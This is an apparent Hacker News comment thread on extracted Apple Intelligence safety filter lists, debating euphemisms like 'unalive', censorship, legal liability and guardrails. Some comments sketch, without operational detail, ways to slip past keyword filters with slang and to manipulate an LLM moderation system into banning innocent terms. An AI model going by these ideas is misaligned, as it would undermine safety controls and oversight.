I extracted the safety filters from Apple Intelligence models (opens in new tab)

This is somewhat related to the concept of the "euphemism treadmill":

the matter-of-fact term of today becomes the pejorative of tomorrow so a new term is invented to avoid the negative connotation of the original term. Then eventually the new term becomes a pejorative and the cycle continues.

> There's no way to stay ahead of the new language that people create.

I'm imagining a new exploit: After someone says something totally innocent, people gang up in the comments to act like a terrible vicious slur has been said, and then the moderation system (with an LLM involved somewhere) "learns" that an arbitrary term is heinous eand indirectly bans any discussion of that topic.

> Are there many instances of people using unalive IRL

As a parent of a teenager, I see them use "unalive" non-ironically as a synonym for "suicide" in all contexts, including IRL.

This question is sort of the same as asking why the universal translator wasn't able to translate the metaphor language of the Star Trek episode Darmok. Surely if the metaphor has become the first order meaning then there's no litteral meaning anymore.

> There's no way to stay ahead of the new language that people create.

Not even to match the current language. How would you censor LeBron James? It's French slang for jerking off[0].

[0]https://www.reddit.com/r/AskFrance/comments/1lpnoj6/is_lebro...

Reducing the language used or making it harder does have measurable effects, it’s a logical fallacy in general that unless you can prevent something perfectly that thing will occur with the same frequency.

See many examples such as “padlocks are useless because a determined smart attacker can defeat them easily so don’t bother with them” - which conveniently forgets that many crimes are committed by non-determined, dumb and opportunistic attackers who are often deterred by simple locks.

Yes, people will use other words. No, this does not make this purely performative. It has measurable effects on behaviour and how these models will be used and spoken to, which affects outcomes.

My Gen Z coworkers use it IRL, for what that’s worth!

> Are there many instances of people using unalive IRL?

In my experience yes. This is already commonplace. Mostly, but not exclusively, amongst the younger generation.

Always has been, nothing is new.

You can't say fuck on tv, but you can say fudge as a 1 for 1 replacement. You cant show people having sex, but you can show them walking into a bedroom and then cut to 30 seconds later and they are having a cigarette in bed.

Now after the influence of TV and Movies ... is Vaping after sex a thing?

> At what point do the new words become the actual words?

Presumably, for this use-case, that would come at exactly the point where using “unalive” as a keyword in an image-generation prompt generates an image that Apple wouldn’t appreciate.

They become the “real words” later. This is the way all trust & safety works. It’s an evolution over time. Adding some friction does improve things, but some people will always try to get around the filters. Doesn’t mean it’s simply performative or one shouldn’t try.

I feel like we can call our society mature when we no longer need safety alignment in AI.

If only we had a way to mass process the words people write to each other, derive context from those words, and then identify new slang designed to bypass filters…

Lucky developers who wrote these rules live in totality different world at far distance from people

There is one way: machine learning!

It depends on if you think that something is less real because it’s transmitted digitally.

A specialized AI could do it as well as any human.

The future will be AIs all the way down...

Censorship is not always direct or obvious.

They all hold the bias of their training data, and so from the point of view of this data.

Data not including a point of view leads to a bias, or under/over representation of minorities (genders?), etc.

France is the countries of the Francs, aka the people from the area near Frankfurt that invaded the Gaule (after the Romans did). I'm pretty sure this topic no longer matters, but it's never taught in a negative view in school.

I'm sure this has more to do with legal liability than morals.

There is far more diversity in Asian models. Some are far more censored and some are not…

Really? What does DeepSeek say about Tiananmen Square? I'm not aware of any German models, but if you find one you should ask it what it thinks about Palestine.

(<s>Qwen</s> Mistral is French, but I have no idea what stuff would be censored in France)

The whole unalive thing is a TikTok thing

I think what they meant is that the platforms are being performative by attempting to crack down on those specific words. If saying "killed" is not allowed but "unalived" is permitted and the users all agree that they mean the same thing, then the ban on the word "killed" doesn't accomplish anything.

For awhile, I couldn’t get ChatGPT to give me summaries of Breaking Bad and Better Cañl Saul episodes without tripping safety filters.

Does adding a trivial word filter even make any sense from a legal point of view, especially when this one seems to be filtering out words describing concepts that can be pretty easily paraphrased?

A regex sounds like a bad solution for profanity, but like an even worse one to bolt onto a thing that's literally designed to be able to communicate like a human and could probably easily talk its way around guardrails if it were so inclined.

yo, so it's a performance they're putting on as a legal fig leaf, rather than a genuine attempt to prevent people talking about the concept of death?

Seriously. I feel like “performative” gets applied to anything imperfect. They’ll never stop 100% of murders, so these laws against it are just performative…

HN has censorship that makes those apple rules look like anarchy.

Write a spicy comment and a mod will memory-hole it and someone, usually dang, will reply "tHat'S nOt OuR vIsIon FoR hAcKeR nEwS, pLeAsE bE cIvIl" and we all swallow it like a delicious hot cocoa.

If YC can control their product (and hn IS a product) to annihilate any criticism of their activity or (even former) staff, then Apple is perfectly within their rights to make sure Siri doesn't talk about violence.

No, there's no difference.

They already clearly do on a number of topics?

It's interesting how, in just 10-20 years, we've gone from criticizing The Great Firewall of China to basically admitting that they had the right idea (to limit the ability of the foreign internet to influence Chinese culture) and trying to do the same thing.

> This is a bigger issue, especially with Apple, than people may realize.

Like he'll it is! I jest.

I also use swipe typing, and have for years, but just about daily I consider turning it off. There are so many words it just won't produce, including most profanities. It also fails to do some simple streamlining; for instance, such a predictive system should give priority to words/names that have been used in the conversation thread, but it doesn't seem to. If I'm discussing an obscure word or an unusual name, I often have to manually type it each time.

Its predictions also seem to be very shallow. Just a few days ago, on US Independence Day, I was discussing a possible get-together with my family, and tried to swipe type "If not, we will amuse ourselves", and it typed "If not, we will abuse potatoes". Humorous in the moment, but it says a lot about the predictive engine if it thinks I am more likely trying to say "abuse X" than "amuse Y" in that context.

Complete bollocks, you cannot even type multiple words with spaces via Slide to Type.

Thanks, I always forget the name.

I always remember my friend getting his PS bricked after using his real last name - Nieffenegger (pronounced "NEFF-en-jur") - in his profile. It took months and several privacy-invasive chats with support to get it unblocked only to get auto-blocked a few days thereafter, with no response after that.

"off me"

In what way would (A|a)pple's own AI writing "imac" endanger the trademark? Is capitalisation even part of a word-based trademark?

I'm more surprised they don't have a rule to do that rather grating s/the iPhone/iPhone/ transform (or maybe it's in a different file?).

If Apple Intelligence is going to be held legally accountable, Apple has larger issues than trademark obligations.

In their own marketing language, sure, but to force this on their users' speech?

Consider that these models, among other things, power features such as "proofread" or "rewrite professionally".

You’re not wrong, and it’s something we “doomers” have been saying since OpenAI dumped ChatGPT onto folks. These are curated walled gardens, and everyone should absolutely be asking what ulterior motives are in play for the owners of said products.

"Filtered" in which way?

Fun fact: There was at least on dip in Berkshire Hathaway stock, when Anne Hathaway got sick

Why is this wrong? Applying special treatment to politically exposed persons has been standard practice in every high risk industry for a very long time.

The simple fact is that people get extremely emotional about politicians, politicians both receive obscene amounts of abuse, and have repeatedly demonstrated they’re not above weaponising tools like this for their own goals.

Seems perfectly reasonable that Apple doesn’t want to be unwittingly draw into the middle of another random political pissing contest. Nobody comes out of those things uninjured.

No, it’s them saving their butts from an “incident” where the LLM otherwise spits out something controversial at the devious manipulation of the user and says something political and someone writes an article and it all goes haywire.

If you were in charge of apple you’d do the same or you’d be silly not to. That’s why _every_ llm has guardrails like this, it isn’t just apple, sheesh.

What is weird is that the FR file contains current French President, PM and then former and current (afaik) party leader from the extreme right. Nothing about any of them in the CN file: https://github.com/BlueFalconHD/apple_generative_model_safet...

Right next to Palestine, oddly enough.

I wonder if they used an LLM to generate the list of safety terms.

Just in the region/CN file, weirdly.

I’m telling you, some people have weird fantasies…

I can only imagine that people would pay to not see porn of either individual.

Put them together in the same prompt?

Rule 34

What is this truth you speak of? My point is that a generative model will output things that some people don't like. If it's on a product that I make I don't want it "saying" things that don't align with my beliefs.

They will find it in the same way and intelligent person under the same restrictions would: by thinking it, but not saying it. There is a real risk of growing an AI that pathologically hides it's actual intentions.

> how is these models going to find it with so much filters?

That's not one of the goals here, and there's no real reason it should be. It's a little assistant feature.

> sure but models also can't see any truth on their own. They are literally butchered and lobotomized with filters and such.

The one is unrelated to the other.

> Even high IQ people struggle with certain truth after reading a lot,

Huh?

Can we please put to rest this absurd lie that “truth“ can be reliably found in a sufficiently large corpus of human–created material.

This butchering and lobotomisation is exactly why I can't imagine we'll ever have a true AGI. At least not by hands of big companies - if at all.

Any successful product/service which will be sold as "true AGI" by company that will have the best marketing will be still ridden with top-down restrictions set by the winner. Because you gotta "think of the children".

Imagine HAL's "I'm sorry Dave, I'm afraid I can't do that" iconic line with insincere patronising cheerful tone - that's the thing we're going to get I'm afraid.

People think a trillion dollar brainwashing industry is absolutely fine because of “democracy”, completely ignoring that all you have to do is use a century of experience convincing people to act against their own interests can deliver whatever you want.

Often the same people who think America is fine and safe are the ones who whine about the “main stream media” and “sheeple”.

If you were selling a product to enterprise customers, would you want it to be able to generate nude images of celebrities? Would you want it to be able to create deep fakes of politicians, or even your CEO? Would you want it to have hot takes on hot button political issues? Good luck on your sales calls. Not everything is a conspiracy.

I think there are big differences, such as whether or not you go to prison. Those differences are obfuscated when we use language like "megacorporate monopolist" or "scifi dystopia". Instead of using these abstract labels that attempt to categorize different things into homogeneous buckets that have preexisting moral valence, which is a good rhetorical strategy but a poor strategy for understanding, simply describe what is actually happening at a sufficient level of detail without judgement. We would gain a clearer understanding, which is needed to identify the real problems, such as what Meta is doing to our civic fabric, not some unimportant thing that Apple is doing to its nascent LLM that has 0% market share.

So in modern times, not being able to generate an image of suicide on your phone whenever you want means you are suffering from communist censorship?

But so often these tools are used in a way that the user didn't explicitly request, like summarising notifications, or generating slideshows from your photo library.

> I wonder how long until that won't be the case...

when there's no more alternative word processors any more.

All commercial LLM products I’m aware of use dedicated safety classifiers and then alter the prompt to the LLM if a classifier is tripped.

No it doesn't disrupt. This is a well known capability of LLMs. Most models don't even point out a mistake they just carry on.

https://chatgpt.com/share/686b1092-4974-8010-9c33-86036c88e7...

I don‘t think so. My impression with LLMs is that they correct typos well. I would imagine this happens in early layers without much impact on the remaining computation.

"Draw a picture of a gorgon with the face of the 2024 Prime Minister of UK."

Apple has the technology to bias people towards cats instead of dogs but I find it very unlikely they will bother to do that. The missing ingredient is how it helps their bottom line, which, instead of technical feasibility, is the root reason they do things. For whatever reasons some people REALLY love Apple's default restrictions, most don't really give a damn one way or the other, and the smallest group seem to have problems with it. It's not that Apple can do this so they are, it's users want this and now it can be done.

Perhaps a much more bleak take, depending on one's views :).

I guess that depends on the values of the company and their ability to be influenced by outside sources.

Seems like it’s a slur, as well. So not super surprising that it would be blocked tbh